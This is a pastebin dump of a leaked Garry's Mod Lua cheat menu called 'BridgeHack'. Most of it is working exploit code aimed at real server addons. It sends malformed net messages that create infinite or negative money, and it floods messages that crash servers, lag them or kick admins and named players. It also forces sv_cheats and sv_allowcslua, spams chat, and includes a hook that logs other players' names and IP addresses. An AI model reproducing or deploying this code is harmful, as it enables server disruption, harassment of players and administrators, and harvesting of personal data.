· 7 years ago · Oct 03, 2018, 10:38 AM
1// Leaked by velkon
2// decrypted by General Hex
3
4local dversion=1.3
5
6local dlversion ="v1.3"
7
8local outdated = 0
9
10local devbuild = 0
11
12local pastecheck = 0 // 0 = Bueno 1 = No Bueno
13
14local crash = 0
15
16local ulx_spam=0
17
18local ply = LocalPlayer()
19
20
21
22// INSTALIZATION
23
24// FUNCTIONS
25
26
27
28surface.CreateFont( "PopupHFont", {
29
30 font = "Segoe UI Light",
31
32 size = 50,
33
34 weight = 1000,
35
36} )
37
38
39
40surface.CreateFont("HeaderFont", {
41
42 font = "Segoe UI Semilight",
43
44 size = 22,
45
46 weight = 300
47
48})
49
50
51
52surface.CreateFont("PopupFont", {
53
54 font = "Segoe UI Light",
55
56 size = 21,
57
58 weight = 300
59
60})
61
62
63
64surface.CreateFont("HeadingFont",{
65
66 font = "ChatFont",
67
68 size = 20,
69
70 weight = 500,
71
72 antialias = true,
73
74})
75
76
77
78function SoundClick()
79
80 if GetConVarNumber("bh_playsound") > 0 then
81
82 surface.PlaySound("buttons/lightswitch2.wav")
83
84 else
85
86end end
87
88
89
90function consoleP(message)
91
92 queries = queries + 1
93
94 MsgC(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), message, "\n")
95
96end
97
98
99
100function SoundPop()
101
102 --buttons/blip1.wav
103
104 --buttons/button14.wav
105
106 --buttons/lightswitch2.wav
107
108 if GetConVarNumber("bh_playsound") > 0 then
109
110 surface.PlaySound("buttons/button14.wav")
111
112 else
113
114end end
115
116
117
118local infinite = 1000000000000000000000000000000000000000000000000000000000000000000
119
120
121
122function HitBitches()
123
124 net.Start("hitcomplete")
125
126 net.WriteDouble( GetConVarNumber("bh_hitmenuammount") )
127
128 net.SendToServer()
129
130end
131
132concommand.Add("bh_hithack", HitBitches)
133
134
135
136function clearcon()
137
138 for i=0, 100 do
139
140 print(" ")
141
142end end
143
144
145
146function cleardchat()
147
148 for i=0, 100 do
149
150 chat.AddText(" ")
151
152 end end
153
154
155
156--[[
157
158 Woo, Coloured chat messages!
159
160]]--
161
162function chatP(message)
163
164 queries = queries + 1
165
166 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,0), message)
167
168 --status(message)
169
170end
171
172
173
174function chatPR(message)
175
176 queries = queries + 1
177
178 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(255,0,0), message)
179
180 --status(message)
181
182end
183
184
185
186function chatPG(message)
187
188 queries = queries + 1
189
190 chat.AddText(Color(120, 255, 0), "[BridgeHack " .. dlversion .. "]: ", Color(0,255,0), message)
191
192 --status(message)
193
194end
195
196queries=1;
197
198http.Fetch("http://pastebin.com/raw.php?i=jfuCra2J",function(body, len, headers, code)
199
200 serverlist = body
201
202end,function( error )
203
204 chatP("Error accessing PasteBin!")
205
206end)
207
208
209
210http.Fetch("http://pastebin.com/raw.php?i=Ax9WQ5y7",function(body, len, headers, code)
211
212 changelogs = body
213
214end,function( error )
215
216 chatP("Error accessing PasteBin!")
217
218end)
219
220
221
222function printchange()
223
224 consoleP(""..changelogs.."")
225
226end
227
228concommand.Add("bh_logs", printchange)
229
230
231
232--[[
233
234
235
236 PASTEBIN
237
238
239
240 CHECK
241
242
243
244
245
246]]--
247
248local StringM8 = "I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!"
249
250
251
252function CheckPastebin()
253
254 http.Fetch("http://pastebin.com/raw.php?i=gy2HeVgB",function(body, len, headers, code)
255
256 bintext = body
257
258 local stringbin = ( tostring( bintext ))
259
260 if (StringM8 == stringbin) then
261
262 consoleP("Connection to PasteBin is good!")
263
264 else
265
266 pastecheck = 1
267
268 chatP("Connection to PasteBin is broken!")
269
270 chatP("BridgeHack needs PasteBin to properly work!")
271
272 end end) end
273
274--[[
275
276~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~
277
278 --]]
279
280function VersionCheck()
281
282 http.Fetch("http://pastebin.com/raw.php?i=xcTwfJY7",function( HTML )
283
284 local findpos = string.find( HTML, "CVERSION =", 0, false )
285
286 if (findpos) then
287
288 local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )
289
290 if (pastecheck == 1) then
291
292 chatP("Can't check for newer versions because PasteBin is unaccessable!")
293
294 elseif ( version > dversion ) then
295
296 outdated = 1
297
298 chatP("Your version is out of date!" )
299
300 elseif ( version == dversion ) then
301
302 chatP("Your version is up to date." )
303
304 elseif (version < dversion) then
305
306 devbuild = 1
307
308 else
309
310 chatP("Error checking versions!")
311
312 end end end) end
313
314VersionCheck()
315
316
317
318/*
319
320 About Menu
321
322
323
324 Woo, learn about us.
325
326
327
328*/
329
330function AboutMenu()
331
332 local frame = vgui.Create("DFrame")
333
334 frame:SetSize( ScrW(), ScrH() )
335
336 frame:SetPos( 0,0 )
337
338 frame:SetVisible( true )
339
340 frame:SetDraggable( false )
341
342 frame:MakePopup()
343
344 frame:ShowCloseButton( false )
345
346 frame.Paint = function(s,w,h)
347
348 surface.SetDrawColor( Color(0,0,0,200) )
349
350 surface.DrawRect( 0,0, w,h )
351
352 surface.SetDrawColor( Color(0,230,255,150) )
353
354 surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )
355
356 surface.SetTextColor(255,255,255)
357
358 surface.SetFont("PopupHFont")
359
360 surface.SetTextPos( w/5 , ScrH()/10 )
361
362 surface.DrawText("About BridgeHack")
363
364 surface.SetFont("PopupFont")
365
366 surface.SetTextPos( w/4, h/2.5)
367
368 surface.DrawText("BridgeHack, made by the Hax R' Us team.")
369
370 surface.SetTextPos( w/4, h/2.4 )
371
372 surface.DrawText("If we haven't said it enough, we'll say it again...")
373
374 surface.SetTextPos( w/4, h/2.3 )
375
376 surface.DrawText("The Hax R' Us team has worked VERY hard on this menu.")
377
378 surface.SetTextPos( w/4, h/2.2 )
379
380 surface.DrawText("We LOVE feedback, so please, take the time and send an email to team.")
381
382 surface.SetTextPos( w/4, h/2.1 )
383
384 surface.DrawText("haxrus1337@gmail.com")
385
386 surface.SetTextPos( w/4, h/2.0 )
387
388 surface.DrawText("Tell us what you think of the menu.")
389
390 end
391
392
393
394 button = vgui.Create("DButton", frame)
395
396 button:SetSize(110,32.5)
397
398 button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)
399
400 button:SetText("")
401
402 button.Paint = function(s,w,h)
403
404 surface.SetDrawColor( Color(255,255,255) )
405
406 surface.DrawRect( 0,0, w,h )
407
408 surface.SetDrawColor( Color(13,136,69) )
409
410 surface.DrawRect( 0+3,0+3, w-6,h-6 )
411
412 surface.SetTextColor(255,255,255)
413
414 surface.SetFont("PopupFont")
415
416 surface.SetTextPos(30.5,5.5)
417
418 surface.DrawText( "Alright!" )
419
420 end
421
422 button.DoClick = function(s,w,h)
423
424 frame:Close()
425
426 SoundClick()
427
428 end end
429
430/*
431
432
433
434 GUYS ITS FINALLY HERE!!!
435
436
437
438
439
440
441
442 BridgeHack WELCOME SCREEN!!!!!
443
444
445
446
447
448*/
449
450function WelcomeScreen()
451
452 local Popup = vgui.Create("DFrame")
453
454 Popup:SetSize( ScrW(), ScrH() )
455
456 Popup:SetPos( 0,0 )
457
458 Popup:SetVisible( true )
459
460 Popup:SetDraggable( false )
461
462 Popup:SetTitle( "" )
463
464 Popup:MakePopup()
465
466 Popup:ShowCloseButton( false )
467
468
469
470 Popup.Paint = function(s,w,h)
471
472 surface.SetDrawColor( Color(0,0,0,200) )
473
474 surface.DrawRect( 0,0, w,h )
475
476 surface.SetDrawColor( Color(13,136,69) )
477
478 surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 )
479
480 surface.SetTextColor(255,255,255)
481
482 surface.SetTextPos(w/5.10, h/2.40)
483
484 if outdated == 0 then
485
486 surface.SetFont("PopupHFont")
487
488 surface.SetTextPos(w/5.10, h/3)
489
490 surface.DrawText("BridgeHack")
491
492 surface.SetFont("PopupFont")
493
494 surface.SetTextPos(w/5.10, h/2.50)
495
496 surface.DrawText( "The HaxRUs team hopes you do thoroughly enjoy using our menu!" )
497
498 surface.SetTextPos(w/5.10, h/2.40)
499
500 surface.DrawText( "Your version "..dlversion.." is up to date!" )
501
502 surface.SetTextPos(w/5.10, h/2.30)
503
504 surface.DrawText("Please, do not leak our menu.")
505
506 surface.SetTextPos(w/5.10, h/2.20)
507
508 surface.DrawText ( "We worked very hard on creating it." )
509
510 elseif outdated == 1 then
511
512 surface.SetFont("PopupFont")
513
514 surface.SetTextPos(w/5.10, h/2.50)
515
516 surface.DrawText( "Your version is outdated! Please contact the HaxRUs team for the latest edition!" )
517
518 else
519
520 surface.SetFont("PopupHFont")
521
522 surface.SetTextPos(10, 100)
523
524 surface.DrawText( "BridgeHack Version "..dlversion.."")
525
526 surface.SetFont("PopupFont")
527
528 surface.SetTextPos(w/5.10, h/2.50)
529
530 surface.DrawText( "Error" )
531
532 end end
533
534 button = vgui.Create("DButton", Popup)
535
536 button:SetSize(110,32.5)
537
538 button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)
539
540 button:SetText("")
541
542 button.Paint = function(s,w,h)
543
544 surface.SetDrawColor( Color(255,255,255) )
545
546 surface.DrawRect( 0,0, w,h )
547
548 surface.SetDrawColor( Color(13,136,69) )
549
550 surface.DrawRect( 0+3,0+3, w-6,h-6 )
551
552 surface.SetTextColor(255,255,255)
553
554 surface.SetFont("PopupFont")
555
556 surface.SetTextPos(30.5,5.5)
557
558 surface.DrawText( "Alright!" )
559
560 end
561
562
563
564 button.DoClick = function(s,w,h)
565
566 Popup:Close()
567
568 SoundClick()
569
570 end
571
572
573
574 logbutton = vgui.Create("DButton", Popup)
575
576 logbutton:SetSize(110,32.5)
577
578 logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)
579
580 logbutton:SetText("")
581
582 logbutton.Paint = function(s,w,h)
583
584 surface.SetDrawColor( Color(255,255,255) )
585
586 surface.DrawRect( 0,0, w,h )
587
588 surface.SetDrawColor( Color(13,170,181) )
589
590 surface.DrawRect( 0+3,0+3, w-6,h-6 )
591
592 surface.SetTextColor(255,255,255)
593
594 surface.SetFont("PopupFont")
595
596 surface.SetTextPos(10,5.5)
597
598 surface.DrawText( "Change Logs" )
599
600 end
601
602
603
604 logbutton.DoClick = function(s,w,h)
605
606 Popup:Close()
607
608 ChangeLogMenu()
609
610 SoundClick()
611
612 end end
613
614concommand.Add("bh_welcome", WelcomeScreen, SVersionCheck)
615
616
617
618-- Version Menu It Looks PURDY
619
620
621
622function ChangeLogMenu()
623
624 local Panel = vgui.Create( "DFrame" )
625
626 Panel:SetSize( 800, 600 )
627
628 Panel:SetPos( ScrW(),ScrH() )
629
630 Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8
631
632 Panel:SetTitle( "" )
633
634 Panel:MakePopup()
635
636 Panel:ShowCloseButton( false )
637
638 function Panel:Paint( w, h )
639
640 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )
641
642 draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )
643
644 draw.SimpleText( "BridgeHack ChangeLogs", "Default", 6, 15, Color( 255,255,255 ), 0, 0 )
645
646 end
647
648
649
650 local Button = vgui.Create("DButton", Panel)
651
652 Button:SetPos( 740, 10 )
653
654 Button:SetSize( 50, 25 )
655
656 Button:SetText( "" )
657
658 function Button:Paint( w, h )
659
660 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
661
662 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
663
664 end
665
666 Button.DoClick = function()
667
668 Panel:Close()
669
670 end
671
672
673
674 local Label = vgui.Create( "DLabel", Panel )
675
676 Label:SetColor( Color( 255, 255, 255, 255 ) )
677
678 Label:SetFont( "DermaLarge" )
679
680
681
682 if outdated == 1 then
683
684 Label:SetText( "Your version " ..dlversion.." is outdated!" )
685
686 Label:SetTextColor( Color( 255,0,0 ) )
687
688 elseif outdated == 0 then
689
690 Label:SetText( "Your version "..dlversion.." is up to date!" )
691
692 Label:SetTextColor( Color( 0,255,0 ) )
693
694 else
695
696 Label:SetText("Error receving version information!")
697
698 end
699
700
701
702 Label:SizeToContents()
703
704 Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )
705
706
707
708 local HTML = vgui.Create( "HTML", Panel )
709
710 HTML:OpenURL( "http://pastebin.com/raw.php?i=Ax9WQ5y7" )
711
712 HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )
713
714 HTML:SetPos( 25, 100 )
715
716 HTML.Paint = function()
717
718 surface.SetDrawColor( Color( 160, 160, 160) )
719
720 surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )
721
722 end end
723
724/*
725
726
727
728
729
730 END MENU
731
732
733
734
735
736*/
737
738local randomvar = math.Rand(0,9999999)
739
740local BridgeHack = {}
741
742BridgeHack.RandomVar = randomvar
743
744local sweg = LocalPlayer():GetEyeTrace().Entity
745
746local ply = LocalPlayer()
747
748ply:ConCommand("bh_welcome")
749
750timer.Destroy("changecolor")
751
752
753
754queries=1;
755
756function status(statu)-- Made for debugging things.
757
758 queries = queries + 1
759
760 if GetConVarNumber("bh_showhud") == 1 then
761
762 hook.Add( "HUDPaint", "drawcurrent", function()
763
764 surface.SetFont( "BudgetLabel" )
765
766 surface.SetTextColor( 255,255,255 )
767
768 surface.SetTextPos( 25, 25 )
769
770 surface.DrawText( "[" .. queries .. " Total Requests] STATUS: " .. statu )
771
772 end) end
773
774
775
776 if GetConVarNumber("bh_chat_status") == 1 then
777
778 chat.AddText(Color(231, 76, 60), "[BridgeHack " .. dlversion .. "]: ", Color(255,255,255), statu)
779
780 end end
781
782
783
784function Debug(message)
785
786 queries = queries + 1
787
788 chat.AddText(Color(155, 89, 182), "[ BridgeHack]: ", Color(255,255,255), message)
789
790end
791
792
793
794local function CreateCvar(cvar, value)
795
796 CreateClientConVar(cvar, value)
797
798 consoleP("CVAR: " .. cvar .. " set to " .. value)
799
800end
801
802
803
804local function ResetCvar(cvar, value)
805
806 ply:ConCommand("" .. cvar .. " " .. value)
807
808 Debug("CVAR: " .. cvar .. " reset to " .. value)
809
810end
811
812
813
814CheckPastebin()
815
816CreateCvar("bh_notify", 1)
817
818CreateCvar("bh_ulxgag", 1, true, false)
819
820CreateCvar("bh_playsound",1)
821
822CreateCvar("bh_hitmenuammount",0)
823
824CreateCvar("bh_menu_effects", 1)
825
826CreateCvar("bh_firstload_correct", 1)
827
828CreateCvar("bh_chat_status", 0)
829
830CreateCvar("bh_cheats_enabled_on_start", 0)
831
832CreateCvar("bh_cheats_svlua_enabled_on_start", 0)
833
834CreateCvar("bh_showhud", 0)
835
836CreateCvar("bh_esp",0)
837
838CreateCvar("bh_esp_box",1)
839
840CreateCvar("bh_debug",0)
841
842CreateCvar("bh_esp_hp",1)
843
844CreateCvar("bh_esp_rank",1)
845
846CreateCvar("bh_renderdistance_enable",0)
847
848CreateCvar("bh_esp_rdistance",2000)
849
850CreateCvar("bh_esp_infocolor_r",255)
851
852CreateCvar("bh_esp_infocolor_g",0)
853
854CreateCvar("bh_esp_infocolor_b",255)
855
856CreateCvar("bh_ratm_money2give",100000)
857
858
859
860
861
862if GetConVarNumber("bh_firstload_correct") == 1 then
863
864 Derma_Message( "Welcome " .. ply:Nick() .. ", We see its your first time launching BridgeHack on your SteamID (" .. ply:SteamID() .. ")\nHow do I open the menu?\nSimply do this bind in console bind KEY +bh_menu\nThanks for purchasing BridgeHack, Enjoy\nBridgeHack Hack (HaxRUs)", "Welcome to BridgeHack " .. ply:Nick() .. "!", "Click me to continue" )
865
866 ply:ConCommand("bh_firstload_correct 0")
867
868 chatP("Welcome to the world of BridgeHack.")
869
870
871
872else
873
874end
875
876
877
878if GetConVarNumber("bh_cheats_enabled_on_start") == 1 then
879
880 ply:ConCommand("incrementvar sv_cheats 0 1 1")
881
882 status("Enabled sv_cheats to 1")
883
884else
885
886end
887
888if GetConVarNumber("bh_cheats_svlua_enabled_on_start") == 1 then
889
890
891
892 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
893
894 status("Enabled sv_allowcslua to 1")
895
896else
897
898end
899
900
901
902// FIXES
903
904local oChatAddText = chat.AddText
905
906
907
908function chat.AddText( ... )
909
910 local cArgs = { ... };
911
912
913
914
915
916 for k, v in pairs( cArgs ) do
917
918 if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine
919
920 print("BLOCKED STRING CRASH len[" .. string.len(v) .. "]");
921
922 return false;
923
924 else
925
926 end
927
928 end
929
930 return oChatAddText( ... );
931
932end
933
934
935
936---------------------------------------// Global timers //---------------------------------------
937
938if GetConVarNumber("bh_showhud") == 1 then
939
940 hook.Add( "HUDPaint", "drawcursor", function()
941
942 local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255)
943
944 surface.SetDrawColor(c)
945
946 surface.DrawLine(x - 10, y, x - 5, y)
947
948 surface.DrawLine(x, y + 5, x, y + 10)
949
950 surface.DrawLine(x + 10, y, x + 5, y)
951
952 end)
953
954
955
956 hook.Add( "HUDPaint", "drawabout", function()
957
958 surface.SetFont( "BudgetLabel" )
959
960 surface.SetTextColor( 46, 204, 113 )
961
962 surface.SetTextPos( 25, 15 )
963
964 surface.DrawText( "BridgeHack " .. dlversion )
965
966 end)
967
968
969
970 if GetConVarNumber("bh_debug") > 0 then
971
972 if system.IsWindows( ) == true then
973
974 hook.Add( "HUDPaint", "drawdev1", function()
975
976 surface.SetFont( "BudgetLabel" )
977
978 surface.SetTextColor( 231, 76, 60 )
979
980 surface.SetTextPos( 25, 47 )
981
982 surface.DrawText( "[] Server Operating System: Windows" )
983
984 end)
985
986 end
987
988
989
990 if system.IsLinux( ) == true then
991
992 hook.Add( "HUDPaint", "drawdev2", function()
993
994 surface.SetFont( "BudgetLabel" )
995
996 surface.SetTextColor( 231, 76, 60 )
997
998 surface.SetTextPos( 25, 47 )
999
1000 surface.DrawText( "[] Server Operating System: Linux" )
1001
1002 end)
1003
1004 end
1005
1006
1007
1008 if system.IsOSX( ) == true then
1009
1010 hook.Add( "HUDPaint", "drawdev3", function()
1011
1012 surface.SetFont( "BudgetLabel" )
1013
1014 surface.SetTextColor( 231, 76, 60 )
1015
1016 surface.SetTextPos( 25, 47 )
1017
1018 surface.DrawText( "[] Server Operating System: OSX")
1019
1020 end)
1021
1022 end
1023
1024
1025
1026 hook.Add( "HUDPaint", "drawdev4", function()
1027
1028 surface.SetFont( "BudgetLabel" )
1029
1030 surface.SetTextColor( 231, 76, 60 )
1031
1032 surface.SetTextPos( 25, 47 )
1033
1034 surface.DrawText( "[] Server Operating System: Windows" )
1035
1036 end)
1037
1038
1039
1040 hook.Add( "HUDPaint", "drawdev5", function()
1041
1042 surface.SetFont( "BudgetLabel" )
1043
1044 surface.SetTextColor( 231, 76, 60 )
1045
1046 surface.SetTextPos( 25, 57 )
1047
1048 surface.DrawText( "[] Server Location: " .. system.GetCountry( ) .. "" )
1049
1050 end)
1051
1052
1053
1054 hook.Add( "HUDPaint", "drawdev6", function()
1055
1056 surface.SetFont( "BudgetLabel" )
1057
1058 surface.SetTextColor( 231, 76, 60 )
1059
1060 surface.SetTextPos( 25, 67 )
1061
1062 surface.DrawText( "[] Connection Time: " .. system.AppTime( ) .. " Seconds" )
1063
1064 end)
1065
1066
1067
1068 end
1069
1070end
1071
1072
1073
1074status("Starting")
1075
1076status("BridgeHack Loaded")
1077
1078
1079
1080for k,v in pairs(player.GetAll()) do
1081
1082
1083
1084 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1085
1086 consoleP(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney)
1087
1088 end
1089
1090consoleP("BridgeHack, by HaxRUs")
1091
1092consoleP(dlversion)
1093
1094
1095
1096// FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------
1097
1098// CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------
1099
1100
1101
1102concommand.Add("bh_hitmanxcrash", function ( ply )
1103
1104for i=0,300 do
1105
1106for k,v in pairs(player.GetAll()) do
1107
1108net.Start( "SendMoney" )
1109
1110net.WriteEntity( v )
1111
1112net.WriteEntity( v )
1113
1114net.WriteEntity( v )
1115
1116net.WriteString( "-100000000000000000000000000000000000000000" )
1117
1118net.SendToServer()
1119
1120
1121
1122end end end)
1123
1124
1125
1126concommand.Add("bh_hitmanxinfa", function ( ply )
1127
1128for k,v in pairs(player.GetAll()) do
1129
1130net.Start( "SendMoney" )
1131
1132net.WriteEntity( v )
1133
1134net.WriteEntity( v )
1135
1136net.WriteEntity( v )
1137
1138net.WriteString( "-100000000000000000000000000000000000000000" )
1139
1140net.SendToServer()
1141
1142
1143
1144end end)
1145
1146
1147
1148concommand.Add("bh_hitmancrash",function()
1149
1150 for i=0,5000 do
1151
1152 ply:ConCommand('addhit "'..ply:Nick()..'" 500')
1153
1154 end
1155
1156
1157
1158end)
1159
1160
1161
1162concommand.Add("bh_ulxgag",function()
1163
1164 if(ulx and ulx.gagUser) then
1165
1166 if GetConVarNumber("bh_ulxgag") == 1 then
1167
1168 ulx.gagUser(LocalPlayer(),false)
1169
1170 else
1171
1172 end
1173
1174 else
1175
1176 end
1177
1178
1179
1180end)
1181
1182
1183
1184concommand.Add("bh_antiaim",function()
1185
1186 hook.Add("CreateMove",function(cmd, u)
1187
1188 if (LocalPlayer():KeyDown(IN_ATTACK)) then return end
1189
1190 local aa = cmd:GetViewAngles()
1191
1192 cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))
1193
1194end)
1195
1196
1197
1198end)
1199
1200
1201
1202
1203
1204concommand.Add("bh_infinite_all",function()
1205
1206 clearcon()
1207
1208 cleardchat()
1209
1210 chatP("Giving money, He he")
1211
1212for k,v in pairs(player.GetAll()) do
1213
1214net.Start( "BailOut" )
1215
1216 net.WriteEntity( v )
1217
1218 net.WriteEntity( v )
1219
1220 net.WriteFloat( -infinite )
1221
1222 net.SendToServer()
1223
1224 end
1225
1226
1227
1228end)
1229
1230
1231
1232concommand.Add("bh_ipsteal",function()
1233
1234hook.Add("PlayerConnect", "IPStealer", function(name, ip)
1235
1236 file.Append("ips.txt", name .. " - " .. ip .. "\n")
1237
1238end)
1239
1240
1241
1242end)
1243
1244
1245
1246local nlr = CreateClientConVar("bh_nlr_freeze", "0", true, false)
1247
1248
1249
1250local function nlrs()
1251
1252 if nlr:GetBool() then
1253
1254 for k,v in pairs(player.GetAll())do
1255
1256 if v != LocalPlayer() then
1257
1258 net.Start("NLR.ActionPlayer")
1259
1260 net.WriteEntity(v)
1261
1262 net.SendToServer()
1263
1264 end
1265
1266 end
1267
1268 end
1269
1270 end
1271
1272timer.Create("nlrs", 4,0,nlrs)
1273
1274
1275
1276LastTime = CurTime()
1277
1278
1279
1280function drawdatopscreen()
1281
1282 if GetConVarNumber("bh_notify") > 0 then
1283
1284 draw.RoundedBox(0,0,0,ScrW(),21,Color(0,0,0,200))
1285
1286 sweg = math.Clamp((CurTime()-LastTime)/20,0,1)
1287
1288 if sweg == 1 then
1289
1290 LastTime = CurTime()
1291
1292 end
1293
1294 draw.DrawText("BridgeHack (By Hax R Us) Loaded! | Any bugs? E-Mail haxrus1337@gmail.com! | Suggestions? We love feedback! E-Mail the Hax R Us team! | ","Trebuchet24",(ScrW() + 600) - sweg*3100 , -2, Color(255,255,255),TEXT_ALIGN_CENTER )
1295
1296 end
1297
1298end
1299
1300hook.Add( "HUDPaint", "drawdatopscreen", drawdatopscreen )
1301
1302
1303
1304concommand.Add("bh_tp_spawn",function()
1305
1306 chatP("Teleported to spawn!")
1307
1308 consoleP("Teleported to spawn!")
1309
1310 status("Teleported to spawn!")
1311
1312 net.Start("DarkRP_Kun_ForceSpawn")
1313
1314 net.SendToServer()
1315
1316
1317
1318end)
1319
1320
1321
1322concommand.Add("bh_check",function()
1323
1324clearcon()
1325
1326cleardchat()
1327
1328chatP("Checking for exploitable addons...")
1329
1330if HIT then
1331
1332 chatPG("Hitman X | Found")
1333
1334else
1335
1336 chatPR("Hitman X | Not Found")
1337
1338end
1339
1340if HitMenu then
1341
1342 chatPG("Hit Menu | Found")
1343
1344else
1345
1346 chatPR("Hit Menu | Not Found")
1347
1348end
1349
1350if BAIL then
1351
1352 chatPG("BailNPC | Found")
1353
1354else
1355
1356 chatPR("BailNPC | Not Found")
1357
1358end
1359
1360if dLogs then
1361
1362 chatPG("DLOGS | Found")
1363
1364else
1365
1366 chatPR("DLOGS | Not Found")
1367
1368end
1369
1370if ChanNum then
1371
1372 chatPG("MXRadio| Found")
1373
1374else
1375
1376 chatPR("MXRadio | Not Found")
1377
1378end
1379
1380if VC_Menu_Info_Panel_Build then
1381
1382 chatPG("VCMD | Found")
1383
1384else
1385
1386 chatPR("VCMD | Not Found")
1387
1388end
1389
1390if MDE then
1391
1392 chatPG("MDE | Found")
1393
1394else
1395
1396 chatPR("MDE | Not Found")
1397
1398end
1399
1400if NLR then
1401
1402 chatPG("NLR | Found")
1403
1404else
1405
1406 chatPR("NLR | Not Found")
1407
1408end
1409
1410if Warnings_for_kick then
1411
1412 chatPG("ULX Extended | Found")
1413
1414else
1415
1416 chatPR("ULX Extended | Not Found")
1417
1418end
1419
1420
1421
1422end)
1423
1424
1425
1426function reloadeddunkalladmins()
1427
1428clearcon()
1429
1430chatP("KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)")
1431
1432timer.Create( "heymnangng", 3, 0, function()
1433
1434for k,v in ipairs(player.GetAll()) do
1435
1436if( v:GetUserGroup() != "user" ) then
1437
1438if v:Nick() != "Gam" then
1439
1440for i=0, 700 do
1441
1442net.Start( "GetCar" )
1443
1444net.WriteEntity(v)
1445
1446net.WriteEntity(v)
1447
1448net.SendToServer()
1449
1450end
1451
1452chatP('Kicked: '.. v:Nick().. "!")
1453
1454end end end end)end
1455
1456concommand.Add( "bh_mx_kickadmins", reloadeddunkalladmins, SVersionCheck )
1457
1458
1459
1460function dloglag()
1461
1462clearcon()
1463
1464print("Lagging server.")
1465
1466clearcon()
1467
1468print("Lagging server..")
1469
1470clearcon()
1471
1472print("Lagging server...")
1473
1474timer.Create( "dlogsisfucked", 3, 0, function()
1475
1476for i=0, 7000 do
1477
1478local tosend = {
1479
1480 cmd="+forward",
1481
1482 args=" "
1483
1484
1485
1486 }
1487
1488 net.Start('dLogsGetCommand')
1489
1490 net.WriteTable(tosend)
1491
1492 net.SendToServer()
1493
1494
1495
1496end end) end
1497
1498
1499
1500concommand.Add( "bh_dlogs_lag", dloglag, SVersionCheck )
1501
1502concommand.Add( "bh_dlogs_lag_off", function()
1503
1504 clearcon()
1505
1506 consoleP("Stopping the lag...")
1507
1508 chatP("Stopping the lag...")
1509
1510 timer.Destroy("dlogisfucked")
1511
1512end)
1513
1514
1515
1516concommand.Add("bh_admins", function()
1517
1518clearcon()
1519
1520chatP("Listing non-players..")
1521
1522chatP("Check console.")
1523
1524consoleP("============= ULX | Custom admin mode RANKS ============")
1525
1526for k,v in pairs(player.GetAll()) do
1527
1528 if( v:GetUserGroup() != "user" ) then
1529
1530 print(v:Nick().. " | ".. v:GetUserGroup())
1531
1532 end
1533
1534end
1535
1536consoleP("========================================================")
1537
1538end)
1539
1540
1541
1542local Spammer = CreateClientConVar("bh_advert", "0", true, false)
1543
1544
1545
1546local function Spam()
1547
1548 if Spammer:GetBool() then
1549
1550 RunConsoleCommand("say", "/advert I AM TOO COOL FOR SCHOOL !!!!!!") --Whatever you want
1551
1552 end end
1553
1554timer.Create("Spam", 1.5,0,Spam)
1555
1556
1557
1558local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
1559
1560function kickdaplayer()
1561
1562timer.Create( "heymnangng2", 3, 0, function()
1563
1564for k,v in ipairs(player.GetAll()) do
1565
1566if v:Nick() == GetConVar("g_mx_playername") then
1567
1568clearcon()
1569
1570print("Kicking: ")
1571
1572print(v:Nick())
1573
1574for i=0, 700 do
1575
1576net.Start( "GetCar" )
1577
1578net.WriteEntity(v)
1579
1580net.WriteEntity(v)
1581
1582net.SendToServer()
1583
1584end
1585
1586chatP("Kicked ".. v:Nick())
1587
1588consoleP("Kicked ".. v:Nick())
1589
1590end end end) end
1591
1592concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
1593
1594
1595
1596concommand.Add("Bh_clearcon",function()
1597
1598 clearcon()
1599
1600
1601
1602end)
1603
1604
1605
1606concommand.Add("Bh_clearchat",function()
1607
1608 cleardchat()
1609
1610
1611
1612end)
1613
1614
1615
1616
1617
1618concommand.Add("bh_3dcardealer_spamstore",function()
1619
1620 chatP("You better be looking at a car")
1621
1622 for i=0,100 do
1623
1624 clearcon()
1625
1626 chatP("Spamming store... ".."["..i.."]")
1627
1628 net.Start( "RXCAR_Shop_Sell_C2S" )
1629
1630 net.WriteTable({EAA=sweg, CDAA})
1631
1632 net.SendToServer()
1633
1634 end
1635
1636
1637
1638end)
1639
1640
1641
1642concommand.Add("bh_serverlist",function()
1643
1644 status("Printing lise to console...")
1645
1646 chatP("Check console.")
1647
1648 clearcon()
1649
1650 consoleP(""..serverlist.."")
1651
1652 status("Complete")
1653
1654
1655
1656end)
1657
1658
1659
1660function CheckAE()
1661
1662
1663
1664 if requestTables then
1665
1666 print("ae found, bh_ae will work")
1667
1668 chatP("AE was found, bh_ae will work.")
1669
1670 else
1671
